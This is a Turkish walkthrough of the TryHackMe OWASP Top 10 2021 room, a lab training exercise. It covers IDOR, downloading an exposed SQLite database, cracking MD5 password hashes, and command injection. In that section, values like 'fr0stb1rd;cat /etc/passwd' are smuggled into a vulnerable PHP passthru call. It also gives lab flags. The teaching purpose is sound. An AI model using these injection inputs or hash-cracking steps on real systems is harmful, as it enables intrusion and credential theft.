Post

OWASP Top 10 2021 TryHackMe (Türkçe)

OWASP Top 10 2021 TryHackMe (Türkçe)

OWASP Top 10 Nedir?

OWASP Top 10, web uygulamalarında en yaygın ve kritik güvenlik açıklarını belirleyen bir rehberdir. Bu liste, güvenlik uzmanları ve geliştiriciler için önemli bir referans kaynağıdır.

1. Broken Access Control (Kırık Erişim Kontrolü)

  • Örnek: Yetkisiz kullanıcıların yönetici sayfalarına erişebilmesi.

2. Cryptographic Failures (Kriptografik Hatalar)

  • Örnek: Hassas verilerin şifrelenmeden saklanması.

3. Injection (Enjeksiyon)

  • Örnek: SQL enjeksiyonu ile veritabanına yetkisiz erişim sağlanması.

4. Insecure Design (Güvensiz Tasarım)

  • Örnek: Şifre sıfırlama mekanizmasında zayıf doğrulama yöntemleri kullanılması.

5. Security Misconfiguration (Güvenlik Yapılandırma Hataları)

  • Örnek: Varsayılan kimlik bilgileriyle bırakılan yönetici hesapları.

6. Vulnerable and Outdated Components (Güvenlik Açığı Olan ve Güncellenmemiş Bileşenler)

  • Örnek: Eski bir yazılım sürümündeki bilinen bir güvenlik açığının istismar edilmesi.

7. Identification and Authentication Failures (Kimlik Doğrulama ve Tanımlama Hataları)

  • Örnek: Zayıf parola politikaları ve çok faktörlü kimlik doğrulamanın olmaması.

8. Software and Data Integrity Failures (Yazılım ve Veri Bütünlüğü Hataları)

  • Örnek: Üçüncü taraf kütüphanelerin bütünlük kontrolü yapılmadan kullanılması.

9. Security Logging and Monitoring Failures (Güvenlik Kayıtları ve İzleme Hataları)

  • Örnek: Şüpheli etkinliklerin izlenmemesi ve kayıtların tutulmaması.

10. Server-Side Request Forgery (SSRF) (Sunucu Taraflı İstek Sahteciliği)

  • Örnek: Saldırganın sunucu üzerinden yetkisiz istekler yapabilmesi.

Görev 1: Giriş

owasp logo

Bu oda, her bir OWASP konusunu ayrıntılı bir şekilde ele alır ve güvenlik açıkları, bunların nasıl ortaya çıktığı ve nasıl istismar edilebileceği hakkında bilgiler içerir. Teoriyi pratiğe dökmeniz için destekleyici meydan okumaları tamamlayarak öğrendiklerinizi uygulayacaksınız.

  • Kırık Erişim Kontrolü (Broken Access Control)
  • Kriptografik Hatalar (Cryptographic Failures)
  • Enjeksiyon (Injection)
  • Güvensiz Tasarım (Insecure Design)
  • Güvenlik Yapılandırma Hataları (Security Misconfiguration)
  • Güvenli Olmayan ve Güncellenmemiş Bileşenler (Vulnerable and Outdated Components)
  • Kimlik Doğrulama ve Tanımlama Hataları (Identification and Authentication Failures)
  • Yazılım ve Veri Bütünlüğü Hataları (Software and Data Integrity Failures)
  • Güvenlik Günlüğü ve İzleme Hataları (Security Logging & Monitoring Failures)
  • Sunucu Taraflı İstek Sahtekarlığı (Server-Side Request Forgery - SSRF)

Bu oda, acemiler için tasarlanmıştır ve önceki güvenlik bilgisi gerektirmez.

Görev 2: Makinalara Erişim

tryhackme-connect

Bazı görevlerde, sanal bir makineyi hackleyerek öğrenme deneyimi yaşayacaksınız. Öncelikle odaya gidin ve yeşil “Start Machine” düğmesine basarak Sanal Makineyi başlatın.

Bu makinelere erişmek için aşağıdaki yöntemlerden birini kullanabilirsiniz:

  • OpenVPN kullanarak bağlanma
    OpenVPN kullanarak bağlanmak için buradaki kılavuzu takip edin.

  • Tarayıcı içi Linux Makinesi kullanma
    Aboneliğiniz varsa, tarayıcı içinden AttackBox‘ı dağıtarak erişebilirsiniz!

OpenVPN kullanarak bağlanalım:

  • VPN dosyasını indirmek için buraya gidin ve indirin:

    download-configuration

  • Bu örnekteki gibi bağlantıyı sağlayın (root yetkileri ile):

    Komut: openvpn fr0stb1rd.ovpn

    vpn connect

Görev 3: 🛑 Broken Access Control

kilitler

Erişim Kontrolü Nedir?

Web siteleri, belirli sayfaları yalnızca yetkili kullanıcıların erişebileceği şekilde sınırlar. Örneğin, bir site yöneticisinin diğer kullanıcıları yönetmek için belirli bir sayfaya erişebilmesi gerekir. Ancak, eğer bir ziyaretçi yetkisi olmadan bu korunan sayfalara erişebiliyorsa, erişim kontrolleri kırılmıştır.

Kırık Erişim Kontrolünün Sonuçları

Bir saldırganın yetkisi olmadan korunan sayfalara erişebilmesi şu risklere yol açabilir:

  • Hassas kullanıcı bilgilerini görebilir.
  • Yetkisiz işlevleri kullanabilir.
  • Yönetici paneline erişerek sistemde değişiklik yapabilir.
  • Diğer kullanıcı hesaplarını değiştirebilir veya silebilir.

Kırık Erişim Kontrolü Nasıl İstismar Edilir?

  • Yetkisiz URL erişimi: Admin paneli gibi sayfalara doğrudan URL üzerinden erişmeye çalışarak test edilebilir.
  • ID değiştirme (IDOR - Insecure Direct Object References): Kullanıcı kimlikleri veya nesne ID’leri değiştirilerek farklı hesaplara veya verilere erişim denenebilir.
  • Yetersiz yetkilendirme kontrolleri: API çağrıları ve HTTP istekleri manipüle edilerek test edilebilir.

Gerçek Dünya Örneği: YouTube Özel Videolar Açığı (2019)

2019 yılında, YouTube’da bir güvenlik açığı keşfedildi. Bu açık sayesinde, saldırganlar özel (private) olarak işaretlenmiş videoların herhangi bir karesine erişebiliyordu.

  • Güvenlik araştırmacısı, YouTube’un sistemine ardışık istekler göndererek, videonun farklı karelerine erişmeyi başardı.
  • Yeterli sayıda kare toplandığında, videonun bir kısmını yeniden oluşturmak mümkün hale geldi.
  • Kullanıcılar bir videoyu “özel” olarak işaretlediğinde, kimsenin ona erişemeyeceğini düşünür. Ancak bu açık nedeniyle, video içerikleri sızdırılabiliyordu.

Bu güvenlik açığı, kırık erişim kontrolüne klasik bir örnektir. Kullanıcıların özel videolarının gerçekten özel olduğuna inanması gerekirken, sistemdeki hata nedeniyle bu güvenlik vaadi ihlal edilmiştir.

Görev 4: Kırık Erişim Kontrolü (IDOR Çözüm Rehberi)

IDOR Nedir?

IDOR (Insecure Direct Object Reference - Güvensiz Doğrudan Nesne Referansı), bir erişim kontrol açığıdır.
Bu açık sayesinde, saldırganlar normalde erişemeyecekleri kaynaklara ulaşabilir.

Bu durum, bir programcının Doğrudan Nesne Referansını (Direct Object Reference) açığa çıkarması nedeniyle oluşur.
Bu nesneler şunlar olabilir:

  • Bir dosya
  • Bir kullanıcı hesabı
  • Bir banka hesabı
  • Sistemdeki herhangi bir veri

IDOR Nasıl Çalışır?

Örnek bir senaryoya bakalım:

  1. Bir bankacılık uygulamasına giriş yaptığımızı düşünelim.
  2. Kimlik doğrulama başarılı olduktan sonra şu URL’ye yönlendirildiğimizi varsayalım:
    1
    
    https://bank.thm/account?id=111111
    

    idor 1

  3. Bu sayfada, kendi banka bilgilerimizi görebiliriz.
  4. Ancak, burada büyük bir güvenlik açığı olabilir.
  5. Saldırgan, id parametresini değiştirerek farklı bir kullanıcıya ait verilere erişmeye çalışabilir:
    1
    
     https://bank.thm/account?id=222222
    

    idor 2

Eğer sistem düzgün yapılandırılmamışsa, saldırgan bu URL’yi kullanarak başka birinin banka bilgilerine erişebilir.

IDOR Açığının Sebebi

  • Uygulamanın doğrudan nesne referanslarını (örneğin, id değerlerini) kontrol etmemesi
  • Kullanıcının yalnızca kendi hesabına eriştiğini doğrulamaması

Doğrudan nesne referansları tek başına bir güvenlik açığı değildir. Ancak, uygulama kimlik doğrulama ve yetkilendirme kontrollerini düzgün yapmazsa, saldırganlar bu açığı istismar edebilir.

IDOR, hassas verilere yetkisiz erişime neden olabilecek ciddi bir güvenlik açığıdır.
Bu yüzden, sistemlerin her istekte kullanıcının gerçekten ilgili kaynağa erişme izni olup olmadığını doğrulaması gerekir.

  • Makinayı başlatıp “noot” ve “test1234” olarak giriş yapalım:

    noot test1234

  • Bizi bir not karşılıyor:

    mesaj

  • URL’deki id değerini 0 olarak değiştirerek başkalarının mesajını okumaya çalışalım:

    mesaj 0

    Bayrağı yakaladık: flag{fivefourthree}

Görev 5: 🛑 Cryptographic Failures

Kriptografik Hata Nedir?

Kriptografik hata, hassas bilgileri korumak için kullanılan şifreleme algoritmalarının yanlış kullanımı veya hiç kullanılmaması nedeniyle ortaya çıkan güvenlik açıklarını ifade eder.
Web uygulamaları, kullanıcı verilerinin gizliliğini sağlamak için kriptografiye ihtiyaç duyar.

Şifrelemenin Önemi

Güvenli bir e-posta uygulamasını ele alalım:

  • Veri aktarımı sırasında şifreleme (Data in Transit Encryption):
    • Tarayıcı üzerinden e-posta hesabınıza eriştiğinizde, istemci (siz) ile sunucu arasındaki iletişimin şifrelenmiş olması gerekir.
    • Bu, ağ trafiğini dinleyen bir saldırganın, veri paketlerinden e-posta içeriklerinizi görememesini sağlar.
  • Veri saklama sırasında şifreleme (Data at Rest Encryption):
    • E-postalarınız bir sunucuda saklanırken, hizmet sağlayıcının bile bu e-postaları okuyamaması için şifrelenmiş olması gerekir.

Kriptografik Hataların Sonuçları

Web uygulamalarında kriptografik hatalar, genellikle hassas bilgilerin yanlışlıkla açığa çıkmasına neden olur.
Bu bilgiler şunlar olabilir:

  • Müşteri bilgileri (isim, doğum tarihi, finansal bilgiler)
  • Teknik bilgiler (kullanıcı adları, şifreler, API anahtarları)

Kriptografik Hataların İstismarı

  • Man-in-the-Middle (MITM) saldırıları:
    • Saldırgan, kullanıcı bağlantılarını kontrol ettiği bir cihaza yönlendirerek verileri ele geçirebilir.
    • Eğer zayıf bir şifreleme kullanılıyorsa, saldırgan bu verileri okuyabilir.
  • Şifrelenmemiş hassas verilerin web sunucusunda saklanması:
    • Gelişmiş ağ bilgisi olmadan bile bazı hassas veriler doğrudan sunucuda bulunabilir.
    • Uygulamanın yapılandırma dosyalarında veya loglarında açık olarak saklanan şifreler ciddi bir güvenlik riski oluşturur.

Bu kutudaki web uygulaması, bu tür bir güvenlik açığını içermektedir. Devam etmek için sonraki görevlerde verilen destekleyici materyalleri okuyun.

Görev 6: Kriptografik Hatalar (Destekleyici Materyal 1)

1. Veritabanları ve Web Uygulamaları

  • Web uygulamaları, büyük miktarda veriyi saklamak için veritabanları kullanır.
  • Veritabanları genellikle SQL (Structured Query Language) ile yönetilir.
  • Büyük ölçekli uygulamalarda MySQL, MariaDB gibi veritabanı sunucuları kullanılır.

2. Düz Dosya (Flat-File) Veritabanları Nedir?

  • Düz dosya veritabanları, diskte tek bir dosya olarak saklanır.
  • Küçük ölçekli web uygulamalarında bağımsız bir veritabanı sunucusu yerine tercih edilebilir.
  • Web kök dizini içinde saklanırsa, saldırganlar tarafından indirilebilir ve analiz edilebilir.

3. SQLite Veritabanlarını Kullanma

3.1. SQLite veritabanını bulma

  • Bir saldırganın bir SQLite veritabanını indirdiğini varsayalım:

    1
    
    ls -l
    

    Çıktı:

    1
    
    -rw-r--r-- 1 user user 8192 Feb  2 20:33 example.db
    
  • Dosyanın bir SQLite veritabanı olup olmadığını kontrol etmek için:

    1
    
    file example.db
    

    Çıktı:

    1
    
    example.db: SQLite 3.x database, last written using SQLite version 3039002
    

3.2. SQLite veritabanını açma

  • SQLite veritabanına erişmek için:

    1
    
    sqlite3 example.db
    

    Çıktı:

    1
    2
    3
    
    SQLite version 3.39.2
    Enter ".help" for usage hints.
    sqlite>
    

3.3. Veritabanındaki tabloları listeleme

  • Mevcut tabloları görmek için:

    1
    
    .tables
    

    Çıktı:

    1
    
    customers
    

3.4. Tablo yapısını inceleme

  • Bir tablodaki sütunları görmek için:

    1
    
    PRAGMA table_info(customers);
    

    Çıktı:

    1
    2
    3
    4
    
    0|custID|INT|1||1
    1|custName|TEXT|1||0
    2|creditCard|TEXT|0||0
    3|password|TEXT|1||0
    

3.5. Tablodaki verileri listeleme

  • Müşteri verilerini görmek için:

    1
    
    SELECT * FROM customers;
    

    Çıktı:

    1
    2
    3
    
    0|Joy Paulson|4916 9012 2231 7905|5f4dcc3b5aa765d61d8327deb882cf99
    1|John Walters|4671 5376 3366 8125|fef08f333cc53594c8097eba1f35726a
    2|Lena Abdul|4353 4722 6349 6685|b55ab2470f160c331a99b8d8a1946b19
    

3.6. Örnek Veri Açıklaması

  • İlk satırda bulunan bilgiler:
    • custID: 0
    • custName: Joy Paulson
    • creditCard: 4916 9012 2231 7905
    • password (hashlenmiş): 5f4dcc3b5aa765d61d8327deb882cf99

4. Sonraki Adım: Şifre Kırma

  • Bir sonraki adımda, bu hashlenmiş şifrelerin nasıl kırılabileceğini ele alacağız.

Görev 7: Kriptografik Hatalar (Destekleyici Materyal 2)

Hash Nedir?

  • Hash, verilerin tek yönlü şifrelenmiş halidir.
  • Parolalar genellikle hashlenerek saklanır.
  • Zayıf hash algoritmaları kullanıldığında, saldırganlar parolaları kolayca kırabilir.

Hash Kırma Araçları

  • Kali Linux, hash kırma için birçok önceden yüklenmiş araç içerir.
  • Bu araçlar bu dokümanın kapsamı dışında olduğu için çevrimiçi bir çözüm kullanılacaktır.
  • CrackStation gibi çevrimiçi araçlar, yaygın parola hash’lerini kırmak için büyük kelime listeleri kullanır.

CrackStation Kullanımı

  1. CrackStation web sitesine gidin: https://crackstation.net/
  2. Kırılmak istenen hash’i kopyalayın.
  3. Captcha’yı çözün ve “Crack Hashes” düğmesine basın.

    CrackStation Arayüzü

Örnek: Zayıf Bir MD5 Hash’ini Kırma

  • Önceki görevde elde edilen Joy Paulson‘a ait hash:

    1
    
    5f4dcc3b5aa765d61d8327deb882cf99
    
  • CrackStation kullanılarak kırıldığında çıktı:

    1
    
    password
    

    CrackStation Çıktısı

Önemli Notlar

  • CrackStation, yalnızca kelime listesinde bulunan hash’leri kırabilir.
  • Güçlü hash algoritmaları ve tuzlama (salting) kullanıldığında, bu tür saldırılar başarısız olur.

Görev 8: Kriptografik Hatalar Çözüm Rehberi

8.1. Genel Bakış

  • Siteyi biraz inceleyelim. Login kısmına bakalım:

8.2. Açık Yollar

  • Açık yollar (path) var mı diye kaynağa bakalım:

8.3. Assets Dizini

  • Bu dizine gidelim: view-source:http://10.10.234.251:81/assets/css
  • Görüldüğü üzere filtreleme yapılmamış ve dosyaların listesini görebiliyoruz. Bunu göremememiz lazımdı.

8.4. Assets Dizini İçerikleri

  • Ana dizinde ne olduğuna bakalım:

  • Buradan db dosyasını indirelim.

8.5. webapp.db Dosyasına Bakış

  • İndirdiğimiz db dosyasının ne olduğunu görmek için file komutunu kullanalım:

    1
    2
    3
    
    ┌──(kali㉿kali)-[~/Downloads]
    └─$ file webapp.db                                                             
    webapp.db: SQLite 3.x database, last written using SQLite version 3022000, file counter 255, database pages 7, 1st free page 5, free pages 1, cookie 0x6, schema 4, UTF-8, version-valid-for 255
    
  • sqlite3 ile tabloları inceleyelim (headers on diyerek row isimlerini de görebiliriz.):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
    ┌──(kali㉿kali)-[~/Downloads]
    └─$ sqlite3 webapp.db 
    SQLite version 3.46.1 2024-08-13 09:16:08
    Enter ".help" for usage hints.
    sqlite> .databases
    main: /home/kali/Downloads/webapp.db r/w
    sqlite> .tables
    sessions  users   
    sqlite> select * from users;
    4413096d9c933359b898b6202288a650|admin|6eea9b7ef19179a06954edd0f6c05ceb|1
    23023b67a32488588db1e28579ced7ec|Bob|ad0234829205b9033196ba818f7a872b|1
    4e8423b514eef575394ff78caed3254d|Alice|268b38ca7b84f44fa0a6cdc86e6301e0|0
    sqlite> .headers on
    sqlite> select * from users;
    userID|username|password|admin
    4413096d9c933359b898b6202288a650|admin|6eea9b7ef19179a06954edd0f6c05ceb|1
    23023b67a32488588db1e28579ced7ec|Bob|ad0234829205b9033196ba818f7a872b|1
    4e8423b514eef575394ff78caed3254d|Alice|268b38ca7b84f44fa0a6cdc86e6301e0|0
    sqlite> 
    

8.6 Hash Değerlerini Tanımlayalım

  • Elde ettiğimiz hash değerinin ne olduğunu henüz bilmiyouz. Bunu öğrenmemiz (tahmin etmemiz) için bir araç var: hash-identifier

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    
    ┌──(kali㉿kali)-[~/Downloads]
    └─$ hash-identifier 6eea9b7ef19179a06954edd0f6c05ceb
      #########################################################################
      #     __  __                     __           ______    _____           #
      #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
      #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
      #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
      #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
      #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
      #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
      #                                                             By Zion3R #
      #                                                    www.Blackploit.com #
      #                                                   Root@Blackploit.com #
      #########################################################################
    --------------------------------------------------
    
    Possible Hashs:
    [+] MD5
    [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
    
    Least Possible Hashs:
    [+] RAdmin v2.x
    [+] NTLM
    [+] MD4
    [+] MD2
    [+] MD5(HMAC)
    [+] MD4(HMAC)
    [+] MD2(HMAC)
    [+] MD5(HMAC(Wordpress))
    [+] Haval-128
    [+] Haval-128(HMAC)
    [+] RipeMD-128
    [+] RipeMD-128(HMAC)
    [+] SNEFRU-128
    [+] SNEFRU-128(HMAC)
    [+] Tiger-128
    [+] Tiger-128(HMAC)
    [+] md5($pass.$salt)
    [+] md5($salt.$pass)
    [+] md5($salt.$pass.$salt)
    [+] md5($salt.$pass.$username)
    [+] md5($salt.md5($pass))
    [+] md5($salt.md5($pass))
    [+] md5($salt.md5($pass.$salt))
    [+] md5($salt.md5($pass.$salt))
    [+] md5($salt.md5($salt.$pass))
    [+] md5($salt.md5(md5($pass).$salt))
    [+] md5($username.0.$pass)
    [+] md5($username.LF.$pass)
    [+] md5($username.md5($pass).$salt)
    [+] md5(md5($pass))
    [+] md5(md5($pass).$salt)
    [+] md5(md5($pass).md5($salt))
    [+] md5(md5($salt).$pass)
    [+] md5(md5($salt).md5($pass))
    [+] md5(md5($username.$pass).$salt)
    [+] md5(md5(md5($pass)))
    [+] md5(md5(md5(md5($pass))))
    [+] md5(md5(md5(md5(md5($pass)))))
    [+] md5(sha1($pass))
    [+] md5(sha1(md5($pass)))
    [+] md5(sha1(md5(sha1($pass))))
    [+] md5(strtoupper(md5($pass)))
    --------------------------------------------------
    HASH: ^C
    
            Bye!
    

  • Buradan hashlerimizin md5 olduğunu anladık. Kırmayı deneyelim.

8.7 MD5 Kırabilir Miyiz?

  • MD5 geri döndürülemez bir hash fonksiyonudur, ancak bazı projeler ve teknikler, önceden hesaplanmış hash değerlerini kullanarak geri döndürmeye çalışır. Bunlar şu şekilde çalışır:
    • Rainbow Tables: Büyük veri tabanlarında yaygın parolaların MD5 hash karşılıklarını saklar. Eğer bir hash bu tabloda varsa, karşılık gelen parola bulunabilir.
    • Brute Force: Rastgele veya belirli bir parola listesinden üretilen hash değerleri ile karşılaştırma yaparak eşleşme arar.
    • Dictionary Attack: Yaygın kullanılan parolaları içeren bir sözlük kullanarak hash karşılaştırması yapar.
  • Bu yöntemlerle bazı zayıf veya yaygın parolalar çözülebilir, ancak güçlü ve rastgele oluşturulmuş parolalar genellikle kırılamaz.

  • https://reversehash.glitch.me/ kullanabiliriz:

    1
    2
    3
    4
    
    ┌──(kali㉿kali)-[~/Downloads]
    └─$ curl https://reversehash.glitch.me/md5?md5=6eea9b7ef19179a06954edd0f6c05ceb
    
    [{"_id":"qwertyuiop","md5":"6eea9b7ef19179a06954edd0f6c05ceb"}]
    
  • https://md5.gromweb.com/ gibi birçok tersine md5 dönüştürücü mevcuttur. webde reverse md5 lookup diye aratarak binlerce örneğine ulaşabilirsiniz.

  • admin kullanıcısını parolasını qwertyuiop olarak bulduk. Şimdi giriş yapalım.

8.8 Bayrak Yakalamaca

  • Bulduğumuz bilgilerle giriş yapalım:

    Bayrağı yakaladık: THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}

8.9. Sonuç ve Önlemler

Bu test sonucunda aşağıdaki güvenlik açıkları tespit edilmiştir:

  1. Dizin Listeleme: /assets dizini herkese açık olup listelenebiliyordu. Dizin listelemenin kapatılması gerekir.
  2. Veritabanı Dosyasının Sızması: webapp.db dosyasının herkese açık dizinde bulunması büyük bir risk oluşturuyor. Bu gibi hassas dosyalar, sunucunun erişilemeyen bölümlerinde tutulmalıdır.
  3. MD5 Hash Kullanımı: Kullanıcı parolaları MD5 hash ile korunuyordu, ancak MD5 kırılabilir bir hash algoritmasıdır. SHA-256 veya bcrypt gibi güclü hash algoritmaları kullanılmalıdır.
  4. Zayıf Parola Kullanımı: Admin hesabının şifresi qwertyuiop gibi kolay tahmin edilebilir bir parolaydı. Güçlü parola politikaları uygulanmalıdır.

Görev 9: 🛑 Injection

Enjeksiyon Açıkları Nedir?

Günümüz uygulamalarında enjeksiyon açıkları oldukça yaygındır. Bu açıklar, uygulamanın kullanıcı tarafından sağlanan girdileri komut veya parametre olarak yorumlaması nedeniyle ortaya çıkar.
Enjeksiyon saldırıları, kullanılan teknolojilere ve bu teknolojilerin girdileri nasıl yorumladığına bağlıdır. Yaygın örneklerden bazıları şunlardır:

  • SQL Enjeksiyonu:
    • Kullanıcıdan alınan girdinin SQL sorgularına doğrudan dahil edilmesiyle ortaya çıkar.
    • Bir saldırgan, özel SQL sorguları göndererek veritabanındaki bilgileri okuyabilir, değiştirebilir veya silebilir.
    • Bu, kişisel veriler ve kullanıcı kimlik bilgileri gibi hassas bilgilerin çalınmasına yol açabilir.
  • Komut Enjeksiyonu:
    • Kullanıcı girdisinin sistem komutlarına iletilmesiyle gerçekleşir.
    • Saldırgan, yetkisiz sistem komutları çalıştırarak sunucudaki dosyalara veya diğer kullanıcı verilerine erişebilir.

Enjeksiyon Saldırılarına Karşı Korunma

Enjeksiyon saldırılarını önlemenin temel yolu, kullanıcı girdilerinin sorgu veya komut olarak yorumlanmasını engellemektir. Bunun için çeşitli yöntemler mevcuttur:

  • İzin listesi kullanımı:
    • Sunucuya gönderilen girdiler, güvenli girdilerin yer aldığı bir liste ile karşılaştırılır.
    • Yalnızca güvenli olarak işaretlenen girdiler işleme alınır. Güvenli değilse, uygulama bir hata döndürerek işlemi durdurur.
  • Tehlikeli karakterleri temizleme:
    • Girdi içinde zararlı olabilecek karakterler varsa, işlenmeden önce kaldırılır.

Tehlikeli karakterler, verilerin işlenme şeklini değiştirebilecek girdiler olarak sınıflandırılır.
Elle izin listeleri oluşturmak veya girişleri temizlemek yerine, bu işlemleri otomatik olarak gerçekleştiren çeşitli güvenlik kütüphaneleri kullanılabilir.

Görev 10: Komut Enjeksiyonu

Komut Enjeksiyonu, bir web uygulamasının sunucu tarafında PHP gibi bir dil kullanarak işletim sisteminin konsolu ile doğrudan etkileşime girdiği durumlarda meydana gelir. Bu güvenlik açığı, saldırganın sistem komutlarını rastgele çalıştırmasına izin verir. Saldırgan, dosya listeleri alabilir, içerik okuyabilir, sistem hakkında bilgi toplayabilir ve hatta sunucuda tam kontrol elde edebilir.

Bir saldırgan, bu güvenlik açığını kullanarak sunucu üzerinde daha fazla keşif yapabilir ve diğer sistemlere yayılmanın yollarını arayabilir.

Kod Örneği

Bir senaryo düşünelim: MooCorp, inek ASCII sanatı oluşturmak için bir web uygulaması geliştiriyor. cowsay adlı Linux komutunu keşfediyorlar. Bu komut, bir ineğe ASCII şeklinde konuşma yaptırıyor. Bunun yerine, cowsay komutunu doğrudan çalıştıran bir PHP kodu yazmaya karar veriyorlar.

Aşağıdaki kodu inceleyelim. Komut enjeksiyonuna neden duyarlı olduğunu bulabilir misiniz?

1
2
3
4
5
6
7
8
9
10
11
<?php
    if (isset($_GET["mooing"])) {
        $mooing = $_GET["mooing"];
        $cow = 'default';

        if(isset($_GET["cow"]))
            $cow = $_GET["cow"];
        
        passthru("perl /usr/bin/cowsay -f $cow $mooing");
    }
?>

Bu kodun yaptığı işlemler:

  1. “mooing” parametresi var mı kontrol edilir. Varsa, $mooing değişkenine atanır.
  2. “cow” parametresi var mı kontrol edilir. Varsa, $cow değişkenine atanır.
  3. passthru("perl /usr/bin/cowsay -f $cow $mooing"); fonksiyonu çalıştırılır. Bu fonksiyon, verilen komutu sistem konsolunda çalıştırır ve çıktıyı tarayıcıya gönderir.

Buradaki güvenlik açığı, $cow ve $mooing değişkenlerinin doğrudan komut içine eklenmesidir. Eğer saldırgan bu değişkenlere özel karakterler eklerse, ek komutlar çalıştırılabilir. Daha fazla bilgi için PHP passthru() dokümanına bakabilirsiniz.

Komut Enjeksiyonu Diyagramı

Komut Enjeksiyonunu Kullanma

Şimdi, bash içinde yer alan “inline komutları” kullanarak bu açığı sömürelim. Bash, komut içinde komut çalıştırmayı destekler. Bunun için aşağıdaki formatı kullanırız:

1
$(komut_buraya)

Örneğin:

1
echo $(whoami)

Bu komut whoami komutunun çıktısını alır ve echo komutuna parametre olarak verir:

Aynı yöntemi cowsay sunucusunda kullanabiliriz:

Payload Gönderme

Bu yöntemi kullanarak aşağıdaki komutları deneyebilirsiniz:

  • whoami
  • id
  • ifconfig veya ip addr
  • uname -a
  • ps -ef

Deney yapmak için makinamızı çalıştırıp inceleme yapalım.

Bayrak Yakalamaca

  • Önceki bilgilerimize dayanarak deneme yapalım:

  • Kim olduğumuzu görmeye çalışalım. Üstte anlatılan haricinde bir yol deneyelim: fr0stb1rd;id

    apache kullanıcısıyız. Bir bayrağı yakaladık.

  • Bulunduğumuz dizini listeleyelim: fr0stb1rd;ls

    drpepper.txt ilginç bir dosya. Bayrağımızın biri bu.

  • İşletim sistemi detaylarına bakalım: fr0stb1rd;cat /etc/os-release

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
    < fr0stb1rd >
    ----------- 
            \   ^__^
            \  (oo)\_______
                (__)\       )\/\
                    ||----w |
                    ||     ||
    NAME="Alpine Linux"
    ID=alpine
    VERSION_ID=3.16.0
    PRETTY_NAME="Alpine Linux v3.16"
    HOME_URL="https://alpinelinux.org/"
    BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
    

    3.16.0 Alpine Linux sürümü. Bir bayrağı daha yakaladık.

  • Kullanıcı listesine bakalım: fr0stb1rd;cat /etc/passwd

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    
    ___________ 
    < fr0stb1rd >
    ----------- 
            \   ^__^
            \  (oo)\_______
                (__)\       )\/\
                    ||----w |
                    ||     ||
    root:x:0:0:root:/root:/bin/ash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    mail:x:8:12:mail:/var/mail:/sbin/nologin
    news:x:9:13:news:/usr/lib/news:/sbin/nologin
    uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
    operator:x:11:0:operator:/root:/sbin/nologin
    man:x:13:15:man:/usr/man:/sbin/nologin
    postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
    cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
    ftp:x:21:21::/var/lib/ftp:/sbin/nologin
    sshd:x:22:22:sshd:/dev/null:/sbin/nologin
    at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
    squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
    xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
    games:x:35:35:games:/usr/games:/sbin/nologin
    cyrus:x:85:12::/usr/cyrus:/sbin/nologin
    vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
    ntp:x:123:123:NTP:/var/empty:/sbin/nologin
    smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
    guest:x:405:100:guest:/dev/null:/sbin/nologin
    nobody:x:65534:65534:nobody:/:/sbin/nologin
    apache:x:100:101:apache:/var/www:/sbin/nologin
    

    Bu listeyi analiz edersek:

    • Root Kullanıcısı: root (UID = 0)
    • Servis Kullanıcıları: bin, daemon, adm, lp, sync, shutdown, halt, mail, news, uucp, operator, man, postmaster, cron, ftp, sshd, at, squid, xfs, games, cyrus, vpopmail, ntp, smmsp, guest, nobody, apache
      • Bunlar sistem servisleri için açılmış kullanıcılardır ve genellikle shell erişimi yoktur (/sbin/nologin).
    • Root Olmayan ve Servis Olmayan Kullanıcılar:
      • Listede herhangi bir gerçek kullanıcı (örneğin, normal bir insan kullanıcısı) görünmüyor.
    • root olmayan ve servis olmayan kullanıcı sayısı: 0. Bu da sorumuzun cevabını 0 yapar. (How many non-root/non-service/non-daemon users are there?)

    • Eğer gerçek bir kullanıcı eklenmiş olsaydı, onun giriş kabuğu (/bin/bash, /bin/zsh gibi) olurdu ve sistem servis kullanıcılarından ayrılırdı.

    • apache:x:100:101:apache:/var/www:/sbin/nologin satırına bakarsak apache kullanıcısının öntanımlı kabuğunun /sbin/nologin olduğunu görürüz. Bu da diğer bayrağımız (What is the user’s shell set as?).

Görev 11: 🛑 Insecure Design

